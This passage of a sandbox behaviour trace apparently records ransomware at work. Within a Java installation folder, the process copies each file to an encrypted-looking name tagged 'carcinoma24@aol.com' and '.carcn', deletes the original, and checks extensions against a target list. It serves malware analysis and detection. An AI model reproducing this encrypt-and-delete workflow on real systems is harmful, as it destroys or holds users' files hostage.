lpNumberOfBytesRead=0x3bbfecc*=0x500, lpOverlapped=0x0) returned 1 [0265.614] WriteFile (in: hFile=0x544, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x510, lpOverlapped=0x0) returned 1 [0265.615] ReadFile (in: hFile=0x530, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0265.615] WriteFile (in: hFile=0x544, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf8, lpOverlapped=0x0) returned 1 [0265.616] SetEndOfFile (hFile=0x544) returned 1 [0265.616] CloseHandle (hObject=0x544) returned 1 [0265.620] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.620] SetEndOfFile (hFile=0x530) returned 1 [0265.622] CloseHandle (hObject=0x530) returned 1 [0265.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0265.623] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1 [0265.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.624] lstrlenW (lpString=".doc") returned 4 [0265.624] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0265.624] lstrlenW (lpString=".docx") returned 5 [0265.624] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0265.624] lstrlenW (lpString=".pdf") returned 4 [0265.624] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0265.624] lstrlenW (lpString=".xls") returned 4 [0265.624] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0265.624] lstrlenW (lpString=".xlsx") returned 5 [0265.624] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0265.624] lstrlenW (lpString=".ppt") returned 4 [0265.624] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0265.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.624] lstrlenW (lpString=".zip") returned 4 [0265.624] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0265.624] lstrlenW (lpString=".rar") returned 4 [0265.624] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0265.624] lstrlenW (lpString=".bz2") returned 4 [0265.624] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0265.624] lstrlenW (lpString=".7z") returned 3 [0265.624] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0265.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.624] lstrlenW (lpString=".dbf") returned 4 [0265.624] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0265.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.624] lstrlenW (lpString=".1cd") returned 4 [0265.624] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0265.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.624] lstrlenW (lpString=".jpg") returned 4 [0265.624] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0265.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.625] lstrlenW (lpString=".doc") returned 4 [0265.625] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0265.625] lstrlenW (lpString=".docx") returned 5 [0265.625] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0265.625] lstrlenW (lpString=".pdf") returned 4 [0265.625] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0265.625] lstrlenW (lpString=".xls") returned 4 [0265.625] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0265.625] lstrlenW (lpString=".xlsx") returned 5 [0265.625] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0265.625] lstrlenW (lpString=".ppt") returned 4 [0265.625] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0265.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.625] lstrlenW (lpString=".zip") returned 4 [0265.625] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0265.625] lstrlenW (lpString=".rar") returned 4 [0265.625] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0265.625] lstrlenW (lpString=".bz2") returned 4 [0265.625] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0265.625] lstrlenW (lpString=".7z") returned 3 [0265.625] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0265.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.625] lstrlenW (lpString=".dbf") returned 4 [0265.625] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0265.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.625] lstrlenW (lpString=".1cd") returned 4 [0265.625] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0265.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0265.626] lstrlenW (lpString=".jpg") returned 4 [0265.626] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0265.626] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0265.626] lstrlenW (lpString="javafx.properties") returned 17 [0265.626] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0265.631] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=56) returned 1 [0265.631] CloseHandle (hObject=0x538) returned 1 [0265.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0265.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.631] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0265.632] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.632] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.632] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0265.633] GetLastError () returned 0x0 [0265.633] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x38, lpOverlapped=0x0) returned 1 [0265.634] WriteFile (in: hFile=0x528, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x40, lpOverlapped=0x0) returned 1 [0265.635] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0265.635] WriteFile (in: hFile=0x528, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf6, lpOverlapped=0x0) returned 1 [0265.635] SetEndOfFile (hFile=0x528) returned 1 [0265.636] CloseHandle (hObject=0x528) returned 1 [0265.640] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.640] SetEndOfFile (hFile=0x538) returned 1 [0266.073] CloseHandle (hObject=0x538) returned 1 [0266.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0266.553] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1 [0266.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.554] lstrlenW (lpString=".doc") returned 4 [0266.554] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0266.554] lstrlenW (lpString=".docx") returned 5 [0266.554] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0266.554] lstrlenW (lpString=".pdf") returned 4 [0266.554] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0266.554] lstrlenW (lpString=".xls") returned 4 [0266.554] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0266.554] lstrlenW (lpString=".xlsx") returned 5 [0266.554] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0266.554] lstrlenW (lpString=".ppt") returned 4 [0266.554] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0266.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.555] lstrlenW (lpString=".zip") returned 4 [0266.555] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0266.555] lstrlenW (lpString=".rar") returned 4 [0266.555] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0266.555] lstrlenW (lpString=".bz2") returned 4 [0266.555] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0266.555] lstrlenW (lpString=".7z") returned 3 [0266.555] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0266.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.555] lstrlenW (lpString=".dbf") returned 4 [0266.555] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0266.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.555] lstrlenW (lpString=".1cd") returned 4 [0266.555] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0266.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.555] lstrlenW (lpString=".jpg") returned 4 [0266.556] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0266.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.556] lstrlenW (lpString=".doc") returned 4 [0266.556] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0266.556] lstrlenW (lpString=".docx") returned 5 [0266.556] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0266.556] lstrlenW (lpString=".pdf") returned 4 [0266.556] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0266.556] lstrlenW (lpString=".xls") returned 4 [0266.556] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0266.556] lstrlenW (lpString=".xlsx") returned 5 [0266.556] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0266.556] lstrlenW (lpString=".ppt") returned 4 [0266.556] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0266.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.557] lstrlenW (lpString=".zip") returned 4 [0266.557] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0266.557] lstrlenW (lpString=".rar") returned 4 [0266.557] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0266.557] lstrlenW (lpString=".bz2") returned 4 [0266.557] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0266.557] lstrlenW (lpString=".7z") returned 3 [0266.557] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0266.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.557] lstrlenW (lpString=".dbf") returned 4 [0266.557] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0266.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.557] lstrlenW (lpString=".1cd") returned 4 [0266.557] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0266.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0266.558] lstrlenW (lpString=".jpg") returned 4 [0266.558] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0266.558] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0266.558] lstrlenW (lpString="jfr.jar") returned 7 [0266.558] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0266.559] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=560581) returned 1 [0266.559] CloseHandle (hObject=0x54c) returned 1 [0266.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0266.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.559] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0266.560] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.560] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.560] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0266.561] GetLastError () returned 0x0 [0266.561] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x88dc5, lpOverlapped=0x0) returned 1 [0266.666] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x88dd0, lpOverlapped=0x0) returned 1 [0266.679] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0266.679] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe2, lpOverlapped=0x0) returned 1 [0266.679] SetEndOfFile (hFile=0x558) returned 1 [0266.679] CloseHandle (hObject=0x558) returned 1 [0267.077] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.077] SetEndOfFile (hFile=0x54c) returned 1 [0267.106] CloseHandle (hObject=0x54c) returned 1 [0267.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0267.114] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0267.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.115] lstrlenW (lpString=".doc") returned 4 [0267.115] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0267.115] lstrlenW (lpString=".docx") returned 5 [0267.115] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0267.115] lstrlenW (lpString=".pdf") returned 4 [0267.115] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0267.115] lstrlenW (lpString=".xls") returned 4 [0267.115] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0267.115] lstrlenW (lpString=".xlsx") returned 5 [0267.115] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0267.115] lstrlenW (lpString=".ppt") returned 4 [0267.116] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0267.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.116] lstrlenW (lpString=".zip") returned 4 [0267.116] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0267.116] lstrlenW (lpString=".rar") returned 4 [0267.116] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0267.116] lstrlenW (lpString=".bz2") returned 4 [0267.116] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0267.116] lstrlenW (lpString=".7z") returned 3 [0267.116] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0267.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.116] lstrlenW (lpString=".dbf") returned 4 [0267.116] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0267.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.116] lstrlenW (lpString=".1cd") returned 4 [0267.117] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0267.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.117] lstrlenW (lpString=".jpg") returned 4 [0267.117] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0267.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.117] lstrlenW (lpString=".doc") returned 4 [0267.117] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0267.117] lstrlenW (lpString=".docx") returned 5 [0267.117] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0267.117] lstrlenW (lpString=".pdf") returned 4 [0267.117] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0267.118] lstrlenW (lpString=".xls") returned 4 [0267.118] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0267.118] lstrlenW (lpString=".xlsx") returned 5 [0267.118] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0267.118] lstrlenW (lpString=".ppt") returned 4 [0267.118] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0267.118] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.118] lstrlenW (lpString=".zip") returned 4 [0267.118] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0267.118] lstrlenW (lpString=".rar") returned 4 [0267.118] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0267.118] lstrlenW (lpString=".bz2") returned 4 [0267.118] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0267.118] lstrlenW (lpString=".7z") returned 3 [0267.121] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0267.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.122] lstrlenW (lpString=".dbf") returned 4 [0267.122] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0267.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.122] lstrlenW (lpString=".1cd") returned 4 [0267.122] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0267.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0267.122] lstrlenW (lpString=".jpg") returned 4 [0267.122] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0267.122] lstrcmpiW (lpString1=".access", lpString2=".carcn") returned -1 [0267.122] lstrlenW (lpString="jmxremote.access") returned 16 [0267.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0267.126] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=3998) returned 1 [0267.126] CloseHandle (hObject=0x54c) returned 1 [0267.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0267.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.126] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0267.126] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.126] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.127] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0267.446] GetLastError () returned 0x0 [0267.446] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xf9e, lpOverlapped=0x0) returned 1 [0267.489] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfa0, lpOverlapped=0x0) returned 1 [0267.490] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0267.490] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf4, lpOverlapped=0x0) returned 1 [0267.490] SetEndOfFile (hFile=0x530) returned 1 [0267.490] CloseHandle (hObject=0x530) returned 1 [0267.494] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.494] SetEndOfFile (hFile=0x54c) returned 1 [0267.498] CloseHandle (hObject=0x54c) returned 1 [0267.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0267.499] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1 [0267.499] lstrlenW (lpString="C:\\Program 